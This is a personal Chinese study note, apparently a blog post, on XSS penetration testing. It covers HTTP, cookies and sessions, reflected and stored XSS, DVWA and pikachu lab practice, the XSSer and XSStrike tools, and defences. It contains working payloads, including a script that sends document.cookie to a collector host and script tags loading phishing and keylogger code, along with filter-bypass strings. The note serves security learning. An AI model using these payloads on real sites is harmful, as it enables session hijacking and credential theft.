个人笔记-渗透测试-XSS漏洞

1,HTTP协议回顾

一,HTTP特点

  • 请求应答模式
  • 灵活可扩展
  • 可靠传输
  • 无状态 stateless

二,请求方式

常用方式:GET,POST,PUT,HEAD
不常用:DELETE,TRACE,OPTIONS,CONNECT

三,请求格式

请求方法 请求的url HTTP版本
Accept:
Referer:
UserAgent:
Host:
Content-type:
Cookie:

四,响应格式

响应协议版本 状态码 描述
Server:
Content-Type:
Date:

2,客户端的Cookie

一,无状态的影响

现实:每个请求都是独立的
需求:保持会话

二,Cookie内容

key/value格式,例如:
expires=Thu,31——过期事件
max-age=2147 ——过期事件,优先级高
domain=.baidu.com——在此域名下生效

三,Cookie怎么产生的

客户端第一次访问服务器后,服务器做出回应,回应中给予标记set-cookie
客户端接收到服务器所给的标记,将cookie保持到本地,下一次访问使用cookie进行身份识别

四,Cookie特点

  • 明文
  • 可修改
  • 大小受限(视浏览器而定)

五,Cookie的用途

  • 记住登录状态
  • 跟踪用户行为

3,服务端的Session

一,coolkie和session

Cookie保持在客户端
Session保存在服务端,服务器仅将sessid发给客户端,id用以匹配session

二,Session的生命周期

  • 客户端第一次访问服务器,服务器将信息保存为session
  • 如果客户端需要记住密码,则服务器将session id以cookie的形式发送给客户端
  • 以后客户端每次访问都发送cookie,服务器将cookie匹配session来判断登录状态。
  • 客户端发送注销指令,服务器将销毁session,并使cookie过期。

4,JavaScript操作Cookie

一,使用edit-cookie进行操作

二,如何远程获取cookie

js语法:

  • 获取:document.cookie;
  • 设置:document.cookie=“username=test”;
  • 修改:
  • 删除:document.cookie=‘name=test;expires=Thu, 01 Jan 1970 00:00:00 GMT’

在别人浏览器上运行改脚本执行获取cookie。

5,脚本注入网页:XSS

一,XSS (cross sit script)

攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面的时候,代码就会执行,这个时候就达到了攻击者目的。

存在此漏洞的语言:JavaScript Java VBScript ActiveX Flash

XSS的类型:反射型(dom)、 存储型

二,反射型XSS

  1. 攻击者发送带有恶意脚本的链接给客户
  2. 客户点击链接访问服务器
  3. 服务器将包含恶意代码的数据返回给用户浏览器
  4. 用户浏览器解析恶意代码并执行,使攻击者获取数据

三,存储型XSS

  1. 攻击者通过表单提交恶意代码,保存在服务器数据库中
  2. 当其他用户访问服务器时,服务器将带有恶意代码的数据发送给用户
  3. 用户浏览器解析恶意代码并执行
  4. 将数据自动发送至黑客服务器

6,获得Cookie发送邮件

一,

7,XSS靶场联系

一,安装DVWA

二,相关代码

<script>alert('1')</script>
<scr<script>ipt>alert('1')</script>
<img src='' οnerrοr="alert('1')">

8,XSS平台搭建

一,pikachu平台的配置

配置文件路径:

  • pikachu-master\pkxss\inc\config.inc.php
  • pikachu-master\inc\config.inc.php

二,payload

  • pikachu-master\pkxss\xcookie\cookie.php——反射型
<script>document.location='http://192.168.133.1/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
  • pikachu-master\pkxss\xcookie\post.html——存储型
http://192.168.133.1/pikachu-master/pkxss/xcookie/post.html
  • pikachu-master\pkxss\xfish\fish.php——钓鱼
<script src="http://192.168.133.1/pikachu-master/pkxss/xfish/fish.php"></script>
  • pikachu-master\pkxss\rkeypress\rk.js——键盘记录
<script src="http://192.168.133.1/pikachu-master/pkxss/rkeypress/rk.js"></script>
  • 更多payload可以搜索网站xss平台进行操作。

三,xss平台

四,beef的使用

wiki

apt-get update --fix-missing
apt install ruby
apt-get install beef-xss

9,XSS检测和利用

一,测试payload

<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
><script>alert(document.cookie)</script>
>='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
%3Cscript%3Ealert(document.cookie)%3C/script%3E
<img src="javasript:alert('XSS')">
οnerrοr="alert('XSS')">
诱饵:<script"'Oonn>
' οnmοuseοver='alert(/xss/)
"><a href="javascript:alert:alert(/xss/)">click</a>
"oonnmouseover="alert(/xss/)

二,XSSER(软件)

xsser -h
xsser -u "http://192.168.133.1/dvwa/vulnerabilities/xss_r/?name=1" --cookie="PHPSESSID=8jidogbf98qmie8hgc0e19ltj0; security=low" -g "xss_r/?name=XSS" -s -v --reverse-check
xsser --gtk

三,XSSSTRIKE

git clone https://github.com/s0md3v/XSStrike
环境:python3.6以上

#get
python3 xsstrike.py -u "http://192.168.133.1/pikachu-master/vul/xss/xss_reflected_get.php?message=123132&submit=submit"
#post
python3 xsstrike.py -u "http://192.168.133.1/xss/xss_reflected_get.php" --data 'name=1'

10,XSS防御方法

一,过滤输入

入口:
识别:正则

二,处理输出

echo “”;
document.write()
htmlspecialchars——使字符实体化

三,WAF

11,XSS闯关

一,先检测

诱饵:<script"'Oonn>

二,

level8:javascript:alert(‘xss’)
level9:
level10:t_sort=click" type=“button” οnclick=“alert(/xss/)
level11:t_ref=” type=“text” οnclick="alert(‘xss’)

  • 28
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值